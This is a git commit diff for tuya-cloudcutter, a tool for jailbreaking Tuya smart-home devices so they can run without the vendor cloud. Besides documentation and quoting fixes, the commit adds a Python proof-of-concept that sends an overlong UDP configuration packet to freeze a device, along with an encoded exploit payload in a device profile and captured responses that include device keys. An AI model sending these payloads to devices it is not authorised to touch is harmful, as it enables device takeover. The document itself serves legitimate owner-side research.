Merged main into firmware feature branch

This commit is contained in:
Tom Clement
2022-04-02 22:38:37 +02:00
18 changed files with 120 additions and 13 deletions

View File

@@ -9,9 +9,9 @@ Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by re
### Running the toolchain
* Download or git clone this repository
* Open a terminal and `cd` into the repository to make it your working directory
* Run `./run_detach.sh <SSID> <SSID password> [wifi adapter name]`, where SSID/password is the name of the access point you want the Tuya device to join, and wifi adapter is optional (if not set, it will use the first detected adapter in your computer)
* Run `./run_detach.sh <SSID> <SSID password> [wifi adapter name]`, where SSID/password is the name of the access point you want the Tuya device to join, and wifi adapter is optional (if not set, it will use the first detected adapter in your computer). **If your SSID and/or password have special characters like $ ! or @, make sure to pass them with ' characters, e.g. 'P@$$W0rD!'. If it has the ' character then also make sure to escape that, with bash that'd be `'P@$$W0rD!'"'"' 1234'` to use the password `P@$$W0rD!' 1234`**
* When instructed, put your Tuya device in _AP Mode_ by toggling it off and on again 6 times, with around 1 second in between each toggle. If it's a light bulb, it will blink _slowly_. If it blinks _quickly_, power cycle it 3 more times.
* The script will automatically connect to your light (assuming it creates a "SmarLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore)
* The script will automatically connect to your light (assuming it creates a "SmartLife-*" SSID. If not, let us know.) and run the exploit that replaces the security keys (now it can't connect to the cloud anymore)
* The exploit freezes the light. It will reboot back into AP mode if left alone, and you can speed this up by power cycling it yourself one time
* The script will start up an access point of its own called "cloudcutter-flash", using your WiFi adapter
* Turn the device off and on again once. It will enter AP mode again. If it doesn't, power cycle it 6 times to enter AP mode. The script will now make the device connect to our "cloudcutter-flash" AP.
@@ -26,4 +26,4 @@ Here we describe how to use tuya-cloudcutter to jailbreak Tuya IoT devices by re
## Flashing custom firmware
WIP: we're still polishing this part of tuya-cloudcutter. It uses a similar flow to how custom flashing was done before by e.g. `tuya-convert`, which runs after our exploit has replaced the security keys of your device. Check back here in a bit to see if this is finished then!
WIP: we're still polishing this part of tuya-cloudcutter. It uses a similar flow to how custom flashing was done before by e.g. `tuya-convert`, which runs after our exploit has replaced the security keys of your device. Check back here in a bit to see if this is finished then!

View File

@@ -20,6 +20,8 @@ Check out [INSTRUCTIONS](./INSTRUCTIONS.md)
## Contribution
We'd be happy to receive your contributions! One way to contribute if you already know your way around some binary exploitation or would like to get your hands into it is by building device profiles to support more exploitable devices. Check out the [detailed writeup](https://rb9.nl/posts/2022-03-29-light-jailbreaking-exploiting-tuya-iot-devices/) for the information about the vulnerability and exploit chain. Example device profiles can also be found at `src/cloudcutter/device-profiles`.
If you'd like to check if a device is exploitable, one way to lower the chance of having to pry open a device that's not exploitable is testing it out with [this test script](./proof-of-concept/test_device_exploitable.py). **The downside to this test is that it won't tell you if the device is BK7231 based or not, since it seems that RTL87{1,2}0 devices are also exploitable but so far no work has been done to support them.**
These are currently done manually, but there are some plans in the future to simplify the building process. Additionally, we'd love to see a device-agnostic exploit chain!
## Device support

View File

@@ -1,7 +1,8 @@
# Supported devices
| Brand | Picture | Device description | Article numbers | Flash dump / firmware acquired? | Exploitable? |
|:---:|:---:|:---:|:---:|:---:|:---:|
| iHome | ![](device-pictures/IH-BW948-999.jpeg) | iHome Spectra Smart Spiral ST19/E26 Edison Multicolor | IH-BW948-999 | Yes | Yes |
| iHome | ![](Ddevice-pictures/IH-BW948-999.jpeg) | iHome Spectra Smart Spiral ST19/E26 Edison Multicolor | IH-BW948-999 | Yes | Yes |
| | ![](device-pictures/IH-BW949-999.jpeg) | iHome Spectra Smart Spiral G25 Edison Multicolor | IH-BW949-999 | Yes | Yes |
| LSC | ![](device-pictures/2578539.jpeg) | Smart LED RGB + Tunable White E27 806 Lumen | 2578539<br />970724 | Yes | Yes |
| | | | 2578539<br />970719.1 v1.0 | Yes | Yes |
| | ![](device-pictures/970716.jpeg) | Smart LED Tunable White E27 806 Lumen | 3000272<br />970716 | Yes | Yes |
@@ -30,4 +31,4 @@
| Brand | Picture | Device description | Article number | Flash dump / firmware acquired? | Exploitable? |
|:---:|:---:|:---:|:---:|:---:|:---:|
| LSC | ![](device-pictures/3006033.jpeg) | Smart Dimmer Switch | 3006033<br />970806 | Yes | No |
| | ![](device-pictures/970772v2.jpg) | Smart Siren | 970772 v2.0 | No - not a BK7231 chip | No |
| | ![](device-pictures/970772v2.jpg) | Smart Siren | 970772 v2.0 | No - not a BK7231 chip | Unknown - verification needed |

Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 3.7 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 MiB

View File

@@ -0,0 +1,72 @@
import struct
import time
import zlib
import socket
import sys
MAX_CONFIG_PACKET_PAYLOAD_LEN = 0xE8
VICTIM_IP = '192.168.175.1'
VICTIM_PORT = 6669
def build_network_config_packet(payload):
if len(payload) > MAX_CONFIG_PACKET_PAYLOAD_LEN:
raise ValueError('Payload is too long!')
# NOTE
# fr_num and crc do not seem to be used in the disas
# calculating them anyway - in case it's needed
# for some reason.
tail_len = 8
head, tail = 0x55aa, 0xaa55
fr_num, fr_type = 0, 0x1
plen = len(payload) + tail_len
buffer = struct.pack("!IIII", head, fr_num, fr_type, plen)
buffer += payload
crc = zlib.crc32(buffer)
buffer += struct.pack("!II", crc, tail)
return buffer
def send_network_config_datagram(datagram):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(datagram, (VICTIM_IP, VICTIM_PORT))
def encode_json_val(value):
encoded = []
escaped = list(map(ord, '"\\'))
escape_char = ord('\\')
for i in value:
if i in escaped:
encoded.append(escape_char)
encoded.append(i)
return bytes(encoded)
def check_valid_payload(value):
eq_zero = lambda x: x == 0
if any(map(eq_zero, value)):
print('[!] At least one null byte detected in payload. Clobbering will stop before that.')
return value
print("This script will attempt to help you lower the chances of prying open a device that won't be exploitable")
print("However, it's not 100% foolproof either, there are more devices that are vulnerable which are not based on")
print("the BK7231 chipset. So, please take that into account.")
print('Before continuing, please set your device in AP mode first. This usually takes 6 power cycles off and on with ~1 sec between each.')
answer = input('Is your device now in AP mode? (yes/no) [default: no]: ').lower()
if not 'y' in answer:
print("Testing requires AP mode. If the device does not have it, it's not exploitable.")
sys.exit(0)
input("Please connect to the device's AP then hit enter to continue.")
payload = b'{"ssid":"A","token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x11\x11\x11","passwd":"AAAA"}'
payload = check_valid_payload(payload)
datagram = build_network_config_packet(payload=payload)
for _ in range(5):
send_network_config_datagram(datagram=datagram)
time.sleep(0.200)
print("Exploit payload sent! If the device has an LED and now seems to be 'frozen', it's likely exploitable.")
print("Leave it be for ~60 seconds, if its WiFi AP stops showing up then it reboots and 'unfreezes' by itself, then it's almost definitely exploitable.")

View File

@@ -8,7 +8,18 @@ echo "Cutting device off from cloud.."
echo "==> Wait for 20-30 seconds for the device to connect to 'cloudcutter-flash'. This script will then show the activation requests sent by the device, and tell you whether local activation was successful."
nmcli device set ${WIFI_ADAPTER} managed no
trap "nmcli device set ${WIFI_ADAPTER} managed yes" EXIT # Set WiFi adapter back to managed when the script exits
run_in_docker bash -c "bash /src/setup_apmode.sh ${WIFI_ADAPTER} && pipenv run python3 -m cloudcutter configure_local_device --ssid \"${SSID}\" --password \"${SSID_PASS}\" \"/src/cloudcutter/device-profiles/${PROFILE}\" \"${CONFIG_DIR}\""
INNER_SCRIPT=$(xargs -0 <<- EOF
# This janky looking string substitution is because of double evaluation.
# Once in the parent shell script, and once in this heredoc used as a shell script.
# First evaluate the value from the parent shell script while escaping ' chars
# with this janky substitutions so that it doesn't break this heredoc script.
SSID='${SSID/\'/\'\"\'\"\'}'
SSID_PASS='${SSID_PASS/\'/\'\"\'\"\'}'
bash /src/setup_apmode.sh ${WIFI_ADAPTER}
pipenv run python3 -m cloudcutter configure_local_device --ssid "\${SSID}" --password "\${SSID_PASS}" "/work/device-profiles/${PROFILE}" "${CONFIG_DIR}"
EOF
)
run_in_docker bash -c "$INNER_SCRIPT"
if [ ! $? -eq 0 ]; then
echo "Oh no, something went wrong with detaching from the cloud! Try again I guess.."
exit 1

View File

@@ -184,7 +184,12 @@ def __exploit_device(args):
def __configure_wifi(args):
SSID = args.SSID
password = args.password
payload = '{"ssid":"' + SSID + '","passwd":"' + password + '","token":"AAAAAAAA"}'
# Pass the payload through the json module specifically
# to avoid issues with special chars (e.g. ") in either
# SSIDs or passwords.
payload = {"ssid": SSID, "passwd": password, "token": "AAAAAAAA"}
payload = json.dumps(payload)
print(f"{payload=}")

View File

@@ -24,11 +24,12 @@ class PSKContext(ssl.SSLContext):
return sslpsk.wrap_socket(sock, **kwargs)
def _psk_and_pskid(self, identity_or_hint: bytes, server_side: bool):
if not self.psk or identity_or_hint[0] == 1:
print("Using PSK v1")
psk_id_version = identity_or_hint[0]
if not self.psk or psk_id_version == 1:
print(f"Using PSK v1 - Received PSK ID version {psk_id_version:02x}")
psk, psk_id = self._psk_id_v1(identity_or_hint, server_side)
else:
print("Using PSK v2")
print(f"Using PSK v2 - Received PSK ID version {psk_id_version:02x}")
psk, psk_id = self._psk_id_v2(identity_or_hint, server_side)
return psk if server_side else (psk, psk_id)

View File

@@ -0,0 +1 @@
{"result": true, "t": 1644810584, "success": true}

View File

@@ -0,0 +1,7 @@
{
"chip": "BK7231N",
"payload": "eyJhdXprZXkiOiJBVVRIS0VZQUFBQUFBQUFBIiwidXVpZCI6IlVVSURBQUFBQUFBQSIsInBza0tleSI6IiIsInByb2RfdGVzdCI6ZmFsc2UsImFwX3NzaWQiOiJBIiwic3NpZCI6IkFCQ0S9Og0iLCJ0b2tlbiI6IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQZuzASJ9",
"authkey_template": "AUTHKEYAAAAAAAAA",
"uuid_template": "UUIDAAAAAAAA",
"datagram_padding": "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQg=="
}

View File

@@ -0,0 +1 @@
{"result": {"schema": "[{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"bool\"},\"id\":20},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"range\":[\"white\",\"colour\",\"scene\",\"music\"],\"type\":\"enum\"},\"id\":21},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"min\":10,\"max\":1000,\"scale\":0,\"step\":1,\"type\":\"value\"},\"id\":22},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"min\":0,\"max\":1000,\"scale\":0,\"step\":1,\"type\":\"value\"},\"id\":23},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":24},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":25},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"min\":0,\"max\":86400,\"scale\":0,\"step\":1,\"type\":\"value\"},\"id\":26},{\"type\":\"obj\",\"mode\":\"wr\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":27},{\"type\":\"obj\",\"mode\":\"wr\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":28},{\"type\":\"obj\",\"mode\":\"rw\",\"property\":{\"type\":\"string\",\"maxlen\":255},\"id\":29},{\"mode\":\"rw\",\"id\":33,\"type\":\"raw\"}]", "devId": "bf7c99e8e597a23ac6tlgr", "resetFactory": false, "timeZone": "+01:00", "capability": 1025, "secKey": "cb42e25ad9578823", "stdTimeZone": "+01:00", "schemaId": "0000036pux", "dstIntervals": [[1648342800, 1667091600], [1679792400, 1698541200], [1711846800, 1729990800], [1743296400, 1761440400], [1774746000, 1792890000]], "localKey": "3af6681b2b54610b"}, "t": 1644015947, "success": true}

View File

@@ -0,0 +1 @@
{"t": 1644810586, "success": true}

View File

@@ -0,0 +1 @@
{"result": {"timezone": {"ackId": "0-0", "validTime": 1800, "time": 1644015962, "config": {"stdTimeZone": "+01:00", "dstIntervals": [[1648342800, 1667091600], [1679792400, 1698541200]]}}}, "t": 1644015962, "success": true}

View File

@@ -0,0 +1 @@
{"result": {"devId": "bx8d34db24a1417360ivjw", "count": 0, "lastFetchTime": 0}, "t": 1644810591, "success": true}

View File

@@ -0,0 +1 @@
{"t": 1644810589, "success": true}

View File

@@ -0,0 +1 @@
{"result": {"pskKey": "I2UEzymespb0sLKZq65evZw5Qka7rodAi9b33"}, "t": 1644810473, "success": true}

View File

@@ -952,9 +952,10 @@ class XenonDevice(object):
skip_header(bool): For Protocol 3.3, does not add the protocol header if True
"""
# Create byte buffer from hex data
payload = json.dumps(data)
# if spaces are not removed device does not respond!
payload = payload.replace(" ", "")
# Make sure to dump it with no spaces after : chars,
# otherwise device does not respond.
# This was done incorrectly before by removing all spaces!
payload = json.dumps(data, separators=(',', ':'))
payload = payload.encode("utf-8")
log.debug("building payload=%r", payload)